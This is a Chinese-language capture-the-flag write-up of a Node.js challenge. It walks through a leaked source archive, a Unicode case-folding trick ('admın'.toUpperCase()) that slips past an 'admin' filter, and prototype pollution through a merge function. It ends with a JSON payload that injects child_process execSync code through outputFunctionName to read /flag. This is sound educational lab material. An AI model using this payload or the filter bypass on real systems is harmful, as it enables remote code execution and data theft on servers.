进入链接可以发现是一个登录界面 ,自己注册一个新账户的话登陆进去什么东西也没有,提示你要用ADMIN登录,我账户名用ADMIN的话,报错敏感信息
难道是一个烦人的注入题么,不急先扫一下站看看,发现有个www.zip压缩包泄露,将源码下载下来
可以了解到是一个js的题目,寻找一下跟登录有关的界面代码
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){//对帐号进行safeKeyword函数过滤
res.end("<script>alert('forbid word');history.go(-1);</script>") //如果账号是admin则报错
}
req.session.user={
'user':req.body.userid.toUpperCase(),//将输入的userid转化为大写后存入,toUpperCase函数有个漏洞
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
由第二个if语句可以看到经过了一个safeKeyword函数进行过滤,我们去找一下
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {//如果输入的admin,则返回keyword通过if语句
return keyword
}
return undefined
}
对传来的账户进行过滤,如果账户是admin会返回keyword,从而输出forbid word;奇怪的就是我们要ADMIN登录,但是又过滤admin这个账户,奇了怪了,但是这种情况一般会有一个函数漏洞什么的
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
可以看到我们注册是将userid进行大写化toUpperCase再存入user中,这个地方漏洞就是toUpperCase函数了Fuzz中的javascript大小写特性 | 离别歌
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
这是JS中可以利用的地方,我们可以用"ı"进行转化为大写I来构造成ADMIN
"admın".toUpperCase()=='ADMIN'
可以发现我们注册成功并登录,提示我们flag在/flag中,估计是利用系统命令啥的了,提交框框看一下url
action处,我们便寻找源码瞅瞅
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} //用户名必须是ADMIN
req.session.user.data = clone(req.body);//触发原型链污染
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
找action的时候无意中看到了info,有一个render渲染函数data={'user':res.outputFunctionName},应该要利用这里将flag渲染出来,但是这里我不知道考啥,没接触过,便看看大佬的WP,知道了这里考的是js原型链的污染js原型链污染(超详细)_l_abour的博客-CSDN博客_javascript原型链污染
具体可以看这位大佬的wp,下面是我的理解。
对象.__proto__=构造函数.prototype
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法,一个对象的__proto__属性,指向这个对象所在的类的prototype属性(借用别人图一用)
Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。
(这里的继承机制是主动继承,也就是子类可以选择主动去继承父类,和php中的extends是一样的,子类extends父类)
其实就像是继承一样,在son中寻找一个属性,如果没找到,就返回上一级son.__proto__,如果还没有就继续返回son.__proto__.__proto__因此形成了一条链
既然prototype是所有类在实例化的时候都会拥有的属性和方法,我们是不是可以设想通过一个类的prototype来给其他的类附加属性和方法
这样就造成了原型链的污染 :在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
回到题目
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} //用户名必须是ADMIN
req.session.user.data = clone(req.body);//触发原型链污染
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
由clone函数
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
可以看到就是wp主讲的情况,将两个对象内容和在一起,非常容易遭受污染
可以看到info界面的渲染有一个outputFunctionName,我们只需要构造一个json类型的字符串将proto当作键,将恶意代码传输进去,使用wp主的payload
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
因为告诉了我们flag在/flag里面了,因此就不用bash移到虚拟机上去了,多麻烦
因为我们上传的是一个json格式的数据,因此记得将Conten—Type改成json类型的
post请求几种常见content-type类型_henry_rhy的博客-CSDN博客_post请求的content-type
最开始我上传的时候我看颜色不对想起要+代替空格,但是会报错,似乎是不支持+代替空格,用下划线也不行,最后就这样直接上传却成功了,可能是json格式这个地方帮助了我吧
上传成功后因为渲染函数是在info里面,因此我们还要进入info界面,一进去可以获得一个下载文件,flag就在里面。
又长知识了,js的原型链污染,加油加油,篮球训练去了